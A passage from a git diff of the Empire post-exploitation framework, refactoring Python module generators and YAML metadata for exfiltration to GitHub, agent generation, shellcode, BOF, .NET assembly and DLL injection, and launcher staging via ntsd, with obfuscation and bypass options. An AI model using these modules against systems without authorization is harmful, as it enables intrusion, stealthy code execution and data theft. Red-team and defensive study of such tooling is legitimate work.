-from empire.server.utils.module_util import handle_error_message
+from empire.server.core.db.base import SessionLocal
+from empire.server.core.module_models import EmpireModule
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
+ base64_shellcode = main_menu.downloadsv2.get_all(
+ SessionLocal(), None, params["File"]
+ )[0][0].get_base64_file()
- with open(f"{main_menu.directory['downloads']}{params['File']}", "rb") as data:
- shellcode_data = data.read()
- base64_shellcode = base64.b64encode(shellcode_data).decode("utf-8")
-
- compiler = main_menu.loadedPlugins.get("csharpserver")
+ compiler = main_menu.pluginsv2.get_by_id("csharpserver")
if not compiler.status == "ON":
return None, "csharpserver plugin not running"
@@ -40,7 +34,7 @@ def generate(
compiler_yaml: str = yaml.dump(compiler_dict, sort_keys=False)
file_name = compiler.do_send_message(
- compiler_yaml, module.name, confuse=main_menu.obfuscate
+ compiler_yaml, module.name, confuse=obfuscate
)
if file_name == "failed":
return None, "module compile failed"
diff --git a/empire/server/modules/csharp/Shellcode.Covenant.yaml b/empire/server/modules/csharp/Shellcode.Covenant.yaml
index 91c52bbc8..d450ba401 100755
--- a/empire/server/modules/csharp/Shellcode.Covenant.yaml
+++ b/empire/server/modules/csharp/Shellcode.Covenant.yaml
@@ -92,9 +92,11 @@
ReferenceAssemblies: []
EmbeddedResources: []
Empire:
+ tactics:
+ - TA0002
software: ''
techniques:
- - T1064
+ - T1059
background: true
output_extension:
needs_admin: false
diff --git a/empire/server/modules/exfiltration/Invoke_ExfilDataToGitHub.py b/empire/server/modules/exfiltration/Invoke_ExfilDataToGitHub.py
deleted file mode 100644
index 7f10e11b2..000000000
--- a/empire/server/modules/exfiltration/Invoke_ExfilDataToGitHub.py
+++ /dev/null
@@ -1,162 +0,0 @@
-from __future__ import print_function
-
-from builtins import object, str
-
-from empire.server.common import helpers
-from empire.server.utils import data_util
-from empire.server.utils.module_util import handle_error_message
-
-
-class Module(object):
- def __init__(self, mainMenu, params=[]):
-
- # metadata info about the module, not modified during runtime
- self.info = {
- # name for the module that will appear in module menus
- "Name": "Invoke-ExfilDataToGitHub",
- # list of one or more authors for the module
- "Author": ["Nga Hoang"],
- # more verbose multi-line description of the module
- "Description": (
- "Use this module to exfil files and data to GitHub. "
- "Requires the pre-generation of a GitHub Personal Access Token."
- ),
- "Software": "",
- "Techniques": [""],
- # True if the module needs to run in the background
- "Background": False,
- # File extension to save the file as
- "OutputExtension": None,
- # True if the module needs admin rights to run
- "NeedsAdmin": False,
- # True if the method doesn't touch disk/is reasonably opsec safe
- # Disabled - this can be a relatively noisy module but sometimes useful
- "OpsecSafe": True,
- "Language": "powershell",
- # The minimum PowerShell version needed for the module to run
- "MinLanguageVersion": "3",
- # list of any references/other comments
- "Comments": ["https://github.com/nnh100/exfil"],
- }
-
- # any options needed by the module, settable during runtime
- self.options = {
- # format:
- # value_name : {description, required, default_value}
- "Agent": {
- # The 'Agent' option is the only one that MUST be in a module
- "Description": "Agent to run module on",
- "Required": True,
- "Value": "",
- },
- "GHUser": {"Description": "GitHub Username", "Required": True, "Value": ""},
- "GHRepo": {
- "Description": "GitHub Repository",
- "Required": True,
- "Value": "",
- },
- "GHPAT": {
- "Description": "GitHub Personal Access Token base64 encoded",
- "Required": True,
- "Value": "",
- },
- "GHFilePath": {
- "Description": "GitHub filepath not including the filename so eg. testfolder/",
- "Required": True,
- "Value": "",
- },
- "LocalFilePath": {
- "Description": "Local file path of files to upload ",
- "Required": False,
- "Value": "",
- },
- "GHFileName": {
- "Description": "GitHub filename eg. testfile.txt",
- "Required": False,
- "Value": "",
- },
- "Filter": {
- "Description": "Local file filter eg. *.* to get all files or *.pdf for all pdfs",
- "Required": False,
- "Value": "",
- },
- "Data": {
- "Description": "Data to write to file",
- "Required": False,
- "Value": "",
- },
- "Recurse": {
- "Description": "Recursively get files in subfolders eg. set True or leave blank (do not use for Data exfil) ",
- "Required": False,
- "Value": "",
- },
- }
-
- # save off a copy of the mainMenu object to access external functionality
- # like listeners/agent handlers/etc.
- self.mainMenu = mainMenu
-
- # During instantiation, any settable option parameters
- # are passed as an object set to the module and the
- # options dictionary is automatically set. This is mostly
- # in case options are passed on the command line
- if params:
- for param in params:
- # parameter format is [Name, Value]
- option, value = param
- if option in self.options:
- self.options[option]["Value"] = value
-
- def generate(self, obfuscate=False, obfuscationCommand=""):
- # if you're reading in a large, external script that might be updates,
- # use the pattern below
- # read in the common module source code
- moduleSource = (
- self.mainMenu.installPath
- + "/data/module_source/exfil/Invoke-ExfilDataToGitHub.ps1"
- )
- if obfuscate:
- data_util.obfuscate_module(
- moduleSource=moduleSource, obfuscationCommand=obfuscationCommand
- )
- moduleSource = moduleSource.replace(
- "module_source", "obfuscated_module_source"
- )
- try:
- f = open(moduleSource, "r")
- except:
- return handle_error_message(
- "[!] Could not read module source path at: " + str(moduleSource)
- )
-
- moduleCode = f.read()
- f.close()
-
- script = moduleCode
-
- # Need to actually run the module that has been loaded
- scriptEnd = "Invoke-ExfilDataToGitHub"
-
- # add any arguments to the end execution of the script
- for option, values in self.options.items():
- if option.lower() != "agent":
- if values["Value"] and values["Value"] != "":
- if values["Value"].lower() == "true":
- # if we're just adding a switch
- scriptEnd += " -" + str(option)
- else:
- scriptEnd += (
- " -" + str(option) + ' "' + str(values["Value"]) + '"'
- )
- if obfuscate:
- scriptEnd = helpers.obfuscate(
- psScript=scriptEnd,
- installPath=self.mainMenu.installPath,
- obfuscationCommand=obfuscationCommand,
- )
- script += scriptEnd
-
- # Get the random function name generated at install and patch the stager with the proper function name
- script = data_util.keyword_obfuscation(script)
-
- return script
diff --git a/empire/server/modules/exfiltration/Invoke_ExfilDataToGitHub.yaml b/empire/server/modules/exfiltration/Invoke_ExfilDataToGitHub.yaml
new file mode 100644
index 000000000..d2c3e2b92
--- /dev/null
+++ b/empire/server/modules/exfiltration/Invoke_ExfilDataToGitHub.yaml
@@ -0,0 +1,64 @@
+name: Invoke-ExfilDataToGitHub
+authors:
+ - name: Nga Hoang
+ handle: ''
+ link: ''
+description: Use this module to exfil files and data to GitHub. Requires the pre-generation
+ of a GitHub Personal Access Token.
+software: ''
+techniques:
+ - ''
+tactics:
+ - ''
+background: false
+output_extension:
+needs_admin: false
+opsec_safe: true
+language: powershell
+min_language_version: '3'
+comments:
+ - https://github.com/nnh100/exfil
+options:
+ - name: Agent
+ description: Agent to run module on
+ required: true
+ value: ''
+ - name: GHUser
+ description: GitHub Username
+ required: true
+ value: ''
+ - name: GHRepo
+ description: GitHub Repository
+ required: true
+ value: ''
+ - name: GHPAT
+ description: GitHub Personal Access Token base64 encoded
+ required: true
+ value: ''
+ - name: GHFilePath
+ description: GitHub filepath not including the filename so eg. testfolder/
+ required: true
+ value: ''
+ - name: LocalFilePath
+ description: 'Local file path of files to upload '
+ required: false
+ value: ''
+ - name: GHFileName
+ description: GitHub filename eg. testfile.txt
+ required: false
+ value: ''
+ - name: Filter
+ description: Local file filter eg. *.* to get all files or *.pdf for all pdfs
+ required: false
+ value: ''
+ - name: Data
+ description: Data to write to file
+ required: false
+ value: ''
+ - name: Recurse
+ description: 'Recursively get files in subfolders eg. set True or leave blank (do
+ not use for Data exfil) '
+ required: false
+ value: ''
+script_path: 'exfil/Invoke-ExfilDataToGitHub.ps1'
+script_end: 'Invoke-ExfilDataToGitHub {{ PARAMS }}'
diff --git a/empire/server/modules/external/generate_agent.py b/empire/server/modules/external/generate_agent.py
deleted file mode 100644
index 575a4449e..000000000
--- a/empire/server/modules/external/generate_agent.py
+++ /dev/null
@@ -1,124 +0,0 @@
-from __future__ import print_function
-
-import os
-import string
-from builtins import object, str
-from typing import Dict
-
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
-from empire.server.utils.module_util import handle_error_message
-
-
-class Module(object):
- @staticmethod
- def generate(
- main_menu,
- module: PydanticModule,
- params: Dict,
- Listener: str = "",
- Language: str = "",
- OutFile: str = "",
- ):
-
- listener_name = params["Listener"]
- out_file = params["OutFile"]
- if params["Language"] == "ironpython":
- language = "python"
- version = "ironpython"
- else:
- language = params["Language"]
- version = ""
-
- if listener_name not in main_menu.listeners.activeListeners:
- return handle_error_message("[!] Error: %s not an active listener")
-
- active_listener = main_menu.listeners.activeListeners[listener_name]
-
- chars = string.ascii_uppercase + string.digits
- session_id = helpers.random_string(length=8, charset=chars)
- staging_key = active_listener["options"]["StagingKey"]["Value"]
- delay = active_listener["options"]["DefaultDelay"]["Value"]
- jitter = active_listener["options"]["DefaultJitter"]["Value"]
- profile = active_listener["options"]["DefaultProfile"]["Value"]
- kill_date = active_listener["options"]["KillDate"]["Value"]
- working_hours = active_listener["options"]["WorkingHours"]["Value"]
- lost_limit = active_listener["options"]["DefaultLostLimit"]["Value"]
- if "Host" in active_listener["options"]:
- host = active_listener["options"]["Host"]["Value"]
- else:
- host = ""
-
- # add the agent
- main_menu.agents.add_agent(
- session_id,
- "0.0.0.0",
- delay,
- jitter,
- profile,
- kill_date,
- working_hours,
- lost_limit,
- listener=listener_name,
- language=language,
- )
-
- # get the agent's session key
- session_key = main_menu.agents.get_agent_session_key_db(session_id)
-
- agent_code = main_menu.listeners.loadedListeners[
- active_listener["moduleName"]
- ].generate_agent(active_listener["options"], language=language, version=version)
-
- if language.lower() == "powershell":
- agent_code += (
- "\nInvoke-Empire -Servers @('%s') -StagingKey '%s' -SessionKey '%s' -SessionID '%s';"
- % (host, staging_key, session_key, session_id)
- )
- # Get the random function name generated at install and patch the stager with the proper function name
- code = data_util.keyword_obfuscation(agent_code)
- else:
- stager_code = main_menu.listeners.loadedListeners[
- active_listener["moduleName"]
- ].generate_stager(
- active_listener["options"], language=language, encrypt=False
- )
- stager_code = stager_code.replace("exec(agent)", "")
- code = f"server='{host}';\n" + stager_code + f"\n{agent_code}"
-
- print(
- helpers.color("[+] Pre-generated agent '%s' now registered." % session_id)
- )
-
- # increment the supplied file name appropriately if it already exists
- i = 1
- out_file_orig = out_file
- while os.path.exists(out_file):
- parts = out_file_orig.split(".")
- if len(parts) == 1:
- base = out_file_orig
- ext = None
- else:
- base = ".".join(parts[0:-1])
- ext = parts[-1]
-
- if ext:
- out_file = "%s%s.%s" % (base, i, ext)
- else:
- out_file = "%s%s" % (base, i)
- i += 1
-
- f = open(out_file, "w")
- f.write(code)
- f.close()
-
- print(
- helpers.color(
- "[*] %s agent code for listener %s with sessionID '%s' written out to %s"
- % (language, listener_name, session_id, out_file)
- )
- )
- print(helpers.color("[*] Run sysinfo command after agent starts checking in!"))
-
- return code
diff --git a/empire/server/modules/external/generate_agent.yaml b/empire/server/modules/external/generate_agent.yaml
deleted file mode 100644
index 9ea3faafe..000000000
--- a/empire/server/modules/external/generate_agent.yaml
+++ /dev/null
@@ -1,35 +0,0 @@
-name: generate_agent
-authors:
- - '@harmj0y'
-description: Generates an agent code instance for a specified listener, pre-staged, and register the agent in the database. This allows the agent to begin beconing behavior immediately.
-software:
-techniques:
- - T1214
- - T1003
-background: true
-output_extension:
-needs_admin: false
-opsec_safe: true
-language: powershell
-min_language_version: '2'
-comments:
-options:
- - name: Listener
- description: Listener to generate the agent for.
- required: true
- value: ''
- - name: Language
- description: Language to generate for the agent.
- required: true
- value: ''
- suggested_values:
- - powershell
- - python
- - ironpython
- strict: True
- - name: OutFile
- description: Output file to write the agent code to.
- required: True
- value: '/tmp/agent'
-advanced:
- custom_generate: true
\ No newline at end of file
diff --git a/empire/server/modules/powershell/code_execution/invoke_assembly.py b/empire/server/modules/powershell/code_execution/invoke_assembly.py
index e77b0fe5a..efacce257 100644
--- a/empire/server/modules/powershell/code_execution/invoke_assembly.py
+++ b/empire/server/modules/powershell/code_execution/invoke_assembly.py
@@ -1,13 +1,10 @@
from __future__ import print_function
-import base64
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.db.base import SessionLocal
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -15,12 +12,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# Helper function for arguments
def parse_assembly_args(args):
stringlist = []
@@ -50,7 +46,7 @@ def parse_assembly_args(args):
return f'"{argument_string}"'
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -60,15 +56,14 @@ def parse_assembly_args(args):
return handle_error_message(err)
try:
- with open(f"{main_menu.directory['downloads']}{params['File']}", "rb") as f:
- assembly_data = f.read()
- except:
+ encode_assembly = main_menu.downloadsv2.get_all(
+ SessionLocal(), None, params["File"]
+ )[0][0].get_base64_file()
+ except Exception:
return handle_error_message(
"[!] Could not read .NET assembly path at: " + str(params["Arguments"])
)
- encode_assembly = helpers.encode_base64(assembly_data).decode("UTF-8")
-
# Do some parsing on the operator's arguments so it can be formatted for Powershell
if params["Arguments"] != "":
assembly_args = parse_assembly_args(params["Arguments"])
@@ -78,7 +73,7 @@ def parse_assembly_args(args):
if params["Arguments"] != "":
script_end += " -" + "Arguments" + " " + assembly_args
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/code_execution/invoke_assembly.yaml b/empire/server/modules/powershell/code_execution/invoke_assembly.yaml
index 8a82c789b..7ef664ffe 100644
--- a/empire/server/modules/powershell/code_execution/invoke_assembly.yaml
+++ b/empire/server/modules/powershell/code_execution/invoke_assembly.yaml
@@ -1,10 +1,12 @@
name: Invoke-Assembly
authors:
- - '@kevin'
-description: Loads the specified assembly into memory and invokes the main method.
- The Main method and class containing Main must both be PUBLIC for Invoke-Assembly
- to execute it
+ - name: ''
+ handle: '@kevin'
+ link: ''
+description: Loads the specified assembly into memory and invokes the main method. The Main method and class containing Main
+ must both be PUBLIC for Invoke-Assembly to execute it
software: ''
+tactics: []
techniques:
- T1059
background: true
@@ -23,14 +25,13 @@ options:
required: true
value: ''
- name: File
- description: Filename in '/empire/server/downloads' to load and execute.
- supported.
+ description: Filename in '/empire/server/downloads' to load and execute. supported.
required: true
value: ''
- name: Arguments
description: Any arguments to be passed to the assembly
required: false
value: ''
-script_path: 'code_execution/Invoke-Assembly.ps1'
+script_path: code_execution/Invoke-Assembly.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/code_execution/invoke_bof.py b/empire/server/modules/powershell/code_execution/invoke_bof.py
index 002abc8d0..785e37db0 100644
--- a/empire/server/modules/powershell/code_execution/invoke_bof.py
+++ b/empire/server/modules/powershell/code_execution/invoke_bof.py
@@ -1,13 +1,10 @@
from __future__ import print_function
-import base64
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.db.base import SessionLocal
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -15,14 +12,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -31,19 +27,19 @@ def generate(
if err:
return handle_error_message(err)
- with open(f"{main_menu.directory['downloads']}{params['File']}", "rb") as data:
- bof_data = data.read()
- bof_data = base64.b64encode(bof_data).decode("utf-8")
+ bof_data = main_menu.downloadsv2.get_all(SessionLocal(), None, params["File"])[
+ 0
+ ][0].get_base64_file()
script_end = f"$bofbytes = [System.Convert]::FromBase64String('{ bof_data }');"
script_end += (
f"\nInvoke-Bof -BOFBytes $bofbytes -EntryPoint { params['EntryPoint'] }"
)
- if params["ArguementList"] != "":
- script_end += f" -ArgumentList { params['ArguementList'] }"
+ if params["ArgumentList"] != "":
+ script_end += f" -ArgumentList { params['ArgumentList'] }"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/code_execution/invoke_bof.yaml b/empire/server/modules/powershell/code_execution/invoke_bof.yaml
index a2c480b1b..2239a5721 100644
--- a/empire/server/modules/powershell/code_execution/invoke_bof.yaml
+++ b/empire/server/modules/powershell/code_execution/invoke_bof.yaml
@@ -1,11 +1,14 @@
name: Invoke-BOF
authors:
- - '@Cx01N'
+ - name: Anthony Rose
+ handle: '@Cx01N'
+ link: https://twitter.com/Cx01N_
description: |
This script will load the BOF file (aka COFF file) into memory, map all sections,
perform relocation, serialize beacon parameters, and jump into the entry point
selected by the user.
software: S0154
+tactics: []
techniques:
- T1055
background: true
@@ -29,8 +32,8 @@ options:
- name: EntryPoint
description: Name of the function exported to execute in the beacon object file.
required: true
- value: 'go'
- - name: ArguementList
+ value: go
+ - name: ArgumentList
description: List of arguments that will be passed to the beacon, available through BeaconParse API.
required: false
value: ''
@@ -42,6 +45,6 @@ options:
- 'True'
- 'False'
strict: true
-script_path: 'code_execution/Invoke-Bof.ps1'
+script_path: code_execution/Invoke-Bof.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/code_execution/invoke_boolang.yaml b/empire/server/modules/powershell/code_execution/invoke_boolang.yaml
index 70539ddbe..db6b415aa 100644
--- a/empire/server/modules/powershell/code_execution/invoke_boolang.yaml
+++ b/empire/server/modules/powershell/code_execution/invoke_boolang.yaml
@@ -1,9 +1,14 @@
name: Invoke-Boolang
authors:
- - '@byt3bl33d3r'
- - '@Cx01N'
+ - name: ''
+ handle: '@byt3bl33d3r'
+ link: https://twitter.com/byt3bl33d3r
+ - name: Anthony Rose
+ handle: '@Cx01N'
+ link: https://twitter.com/Cx01N_
description: Executes Boo code from an embedded compiler.
software: ''
+tactics: []
techniques:
- T1059
background: true
@@ -24,5 +29,5 @@ options:
description: Base64 encoded boolang code
required: true
value: ''
-script_path: 'code_execution/Invoke-Boolang.ps1'
+script_path: code_execution/Invoke-Boolang.ps1
script_end: Invoke-Boolang {{ PARAMS }}
diff --git a/empire/server/modules/powershell/code_execution/invoke_clearscript.yaml b/empire/server/modules/powershell/code_execution/invoke_clearscript.yaml
index 6289f6d0a..85786d7ed 100644
--- a/empire/server/modules/powershell/code_execution/invoke_clearscript.yaml
+++ b/empire/server/modules/powershell/code_execution/invoke_clearscript.yaml
@@ -1,9 +1,14 @@
name: Invoke-ClearScript
authors:
- - '@byt3bl33d3r'
- - '@Cx01N'
+ - name: ''
+ handle: '@byt3bl33d3r'
+ link: https://twitter.com/byt3bl33d3r
+ - name: Anthony Rose
+ handle: '@Cx01N'
+ link: https://twitter.com/Cx01N_
description: Executes JScript (or VBScript) using the embedded ClearScript engine.
software: ''
+tactics: []
techniques:
- T1059
background: true
@@ -32,5 +37,5 @@ options:
description: Set JScript as script code
required: false
value: 'True'
-script_path: 'code_execution/Invoke-ClearScript.ps1'
-script_end: Invoke-ClearScript {{ PARAMS }}
\ No newline at end of file
+script_path: code_execution/Invoke-ClearScript.ps1
+script_end: Invoke-ClearScript {{ PARAMS }}
diff --git a/empire/server/modules/powershell/code_execution/invoke_dllinjection.yaml b/empire/server/modules/powershell/code_execution/invoke_dllinjection.yaml
index a79c945ab..fb4b22486 100644
--- a/empire/server/modules/powershell/code_execution/invoke_dllinjection.yaml
+++ b/empire/server/modules/powershell/code_execution/invoke_dllinjection.yaml
@@ -1,9 +1,11 @@
name: Invoke-DllInjection
authors:
- - '@mattifestation'
-description: Uses PowerSploit's Invoke-DLLInjection to inject a Dll into the process
- ID of your choosing.
+ - name: Matt Graeber
+ handle: '@mattifestation'
+ link: https://twitter.com/mattifestation
+description: Uses PowerSploit's Invoke-DLLInjection to inject a Dll into the process ID of your choosing.
software: S0194
+tactics: []
techniques:
- T1055
background: false
@@ -27,5 +29,5 @@ options:
description: Name of the dll to inject. This can be an absolute or relative path.
required: true
value: ''
-script_path: 'code_execution/Invoke-DllInjection.ps1'
-script_end: Invoke-DllInjection {{ PARAMS }}
\ No newline at end of file
+script_path: code_execution/Invoke-DllInjection.ps1
+script_end: Invoke-DllInjection {{ PARAMS }}
diff --git a/empire/server/modules/powershell/code_execution/invoke_ironpython.yaml b/empire/server/modules/powershell/code_execution/invoke_ironpython.yaml
index 3a55d5392..0d77cba7e 100644
--- a/empire/server/modules/powershell/code_execution/invoke_ironpython.yaml
+++ b/empire/server/modules/powershell/code_execution/invoke_ironpython.yaml
@@ -1,9 +1,14 @@
name: Invoke-IronPython
authors:
- - '@byt3bl33d3r'
- - '@Cx01N'
+ - name: ''
+ handle: '@byt3bl33d3r'
+ link: https://twitter.com/byt3bl33d3r
+ - name: Anthony Rose
+ handle: '@Cx01N'
+ link: https://twitter.com/Cx01N_
description: Executes IronPython code using the embedded IPY engine.
software: ''
+tactics: []
techniques:
- T1059
background: true
@@ -24,5 +29,5 @@ options:
description: Base64 encoded IronPython code
required: true
value: ''
-script_path: 'code_execution/Invoke-IronPython.ps1'
-script_end: Invoke-IronPython {{ PARAMS }}
\ No newline at end of file
+script_path: code_execution/Invoke-IronPython.ps1
+script_end: Invoke-IronPython {{ PARAMS }}
diff --git a/empire/server/modules/powershell/code_execution/invoke_ironpython3.yaml b/empire/server/modules/powershell/code_execution/invoke_ironpython3.yaml
index 7be122747..c0b570dbd 100644
--- a/empire/server/modules/powershell/code_execution/invoke_ironpython3.yaml
+++ b/empire/server/modules/powershell/code_execution/invoke_ironpython3.yaml
@@ -1,9 +1,14 @@
name: Invoke-IronPython3
authors:
- - '@Cx01N'
- - '@byt3bl33d3r'
+ - name: Anthony Rose
+ handle: '@Cx01N'
+ link: https://twitter.com/Cx01N_
+ - name: ''
+ handle: '@byt3bl33d3r'
+ link: https://twitter.com/byt3bl33d3r
description: Executes IronPython3 code using the embedded IPY engine.
software: ''
+tactics: []
techniques:
- T1059
background: false
@@ -24,5 +29,5 @@ options:
description: Base64 encoded IronPython3 code
required: true
value: ''
-script_path: 'code_execution/Invoke-IronPython3.ps1'
-script_end: Invoke-IronPython3 {{ PARAMS }}
\ No newline at end of file
+script_path: code_execution/Invoke-IronPython3.ps1
+script_end: Invoke-IronPython3 {{ PARAMS }}
diff --git a/empire/server/modules/powershell/code_execution/invoke_metasploitpayload.yaml b/empire/server/modules/powershell/code_execution/invoke_metasploitpayload.yaml
index 6b70d472c..dc2d713cd 100644
--- a/empire/server/modules/powershell/code_execution/invoke_metasploitpayload.yaml
+++ b/empire/server/modules/powershell/code_execution/invoke_metasploitpayload.yaml
@@ -1,9 +1,12 @@
name: Invoke-MetasploitPayload
authors:
- - '@jaredhaight'
-description: Spawns a new, hidden PowerShell window that downloadsand executes a Metasploit
- payload. This relies on theexploit/multi/scripts/web_delivery metasploit module.
+ - name: ''
+ handle: '@jaredhaight'
+ link: ''
+description: Spawns a new, hidden PowerShell window that downloadsand executes a Metasploit payload. This relies on theexploit/multi/scripts/web_delivery
+ metasploit module.
software: ''
+tactics: []
techniques:
- T1055
background: false
@@ -23,5 +26,5 @@ options:
description: URL from the Metasploit web_delivery module
required: true
value: ''
-script_path: 'code_execution/Invoke-MetasploitPayload.ps1'
-script_end: Invoke-MetasploitPayload {{ PARAMS }}
\ No newline at end of file
+script_path: code_execution/Invoke-MetasploitPayload.ps1
+script_end: Invoke-MetasploitPayload {{ PARAMS }}
diff --git a/empire/server/modules/powershell/code_execution/invoke_ntsd.py b/empire/server/modules/powershell/code_execution/invoke_ntsd.py
index 4bf6a5e11..27e59d6bb 100644
--- a/empire/server/modules/powershell/code_execution/invoke_ntsd.py
+++ b/empire/server/modules/powershell/code_execution/invoke_ntsd.py
@@ -1,11 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -13,12 +11,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
listener_name = params["Listener"]
upload_path = params["UploadPath"].strip()
bin = params["BinPath"]
@@ -26,11 +23,6 @@ def generate(
ntsd_exe_upload_path = upload_path + "\\" + "ntsd.exe"
ntsd_dll_upload_path = upload_path + "\\" + "ntsdexts.dll"
- # staging options
- user_agent = params["UserAgent"]
- proxy = params["Proxy"]
- proxy_creds = params["ProxyCreds"]
-
if arch == "x64":
ntsd_exe = (
main_menu.installPath
@@ -51,7 +43,7 @@ def generate(
)
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -65,21 +57,20 @@ def generate(
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: %s" % (listener_name))
else:
-
- l = main_menu.stagers.stagers["multi/launcher"]
- l.options["Listener"] = params["Listener"]
- l.options["UserAgent"] = params["UserAgent"]
- l.options["Proxy"] = params["Proxy"]
- l.options["ProxyCreds"] = params["ProxyCreds"]
- l.options["Obfuscate"] = params["Obfuscate"]
- l.options["ObfuscateCommand"] = params["ObfuscateCommand"]
- l.options["Bypasses"] = params["Bypasses"]
- launcher = l.generate()
+ multi_launcher = main_menu.stagertemplatesv2.new_instance("multi_launcher")
+ multi_launcher.options["Listener"] = params["Listener"]
+ multi_launcher.options["UserAgent"] = params["UserAgent"]
+ multi_launcher.options["Proxy"] = params["Proxy"]
+ multi_launcher.options["ProxyCreds"] = params["ProxyCreds"]
+ multi_launcher.options["Obfuscate"] = params["Obfuscate"]
+ multi_launcher.options["ObfuscateCommand"] = params["ObfuscateCommand"]
+ multi_launcher.options["Bypasses"] = params["Bypasses"]
+ launcher = multi_launcher.generate()
if launcher == "":
return handle_error_message("[!] Error in launcher generation.")
else:
- launcher_code = launcher.split(" ")[-1]
+ launcher = launcher.split(" ")[-1]
with open(ntsd_exe, "rb") as bin_data:
ntsd_exe_data = bin_data.read()
@@ -111,7 +102,7 @@ def generate(
script_end += "\r\n"
script_end += code_exec
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/code_execution/invoke_ntsd.yaml b/empire/server/modules/powershell/code_execution/invoke_ntsd.yaml
index 2282743bb..34f854c86 100644
--- a/empire/server/modules/powershell/code_execution/invoke_ntsd.yaml
+++ b/empire/server/modules/powershell/code_execution/invoke_ntsd.yaml
@@ -1,8 +1,11 @@
name: Invoke-Ntsd
authors:
- - james fitts
+ - name: james fitts
+ handle: ''
+ link: ''
description: Use NT Symbolic Debugger to execute Empire launcher code
software: ''
+tactics: []
techniques:
- T1127
background: true
@@ -27,8 +30,7 @@ options:
required: true
value: ''
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -44,24 +46,26 @@ options:
required: true
value: x64
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
-script_path: 'code_execution/Invoke-Ntsd.ps1'
+ value: mattifestation etw
+script_path: code_execution/Invoke-Ntsd.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py
index 2eb652d70..9ee7f2e3a 100644
--- a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py
+++ b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py
@@ -1,13 +1,11 @@
from __future__ import print_function
import base64
-import pathlib
from builtins import object, str
from typing import Dict
from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -15,14 +13,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -52,7 +49,7 @@ def generate(
)
script_end += " -PEBytes $PE"
- except:
+ except Exception:
print(
helpers.color(
"[!] Error in reading/encoding dll: " + str(values)
@@ -66,7 +63,7 @@ def generate(
elif values and values != "":
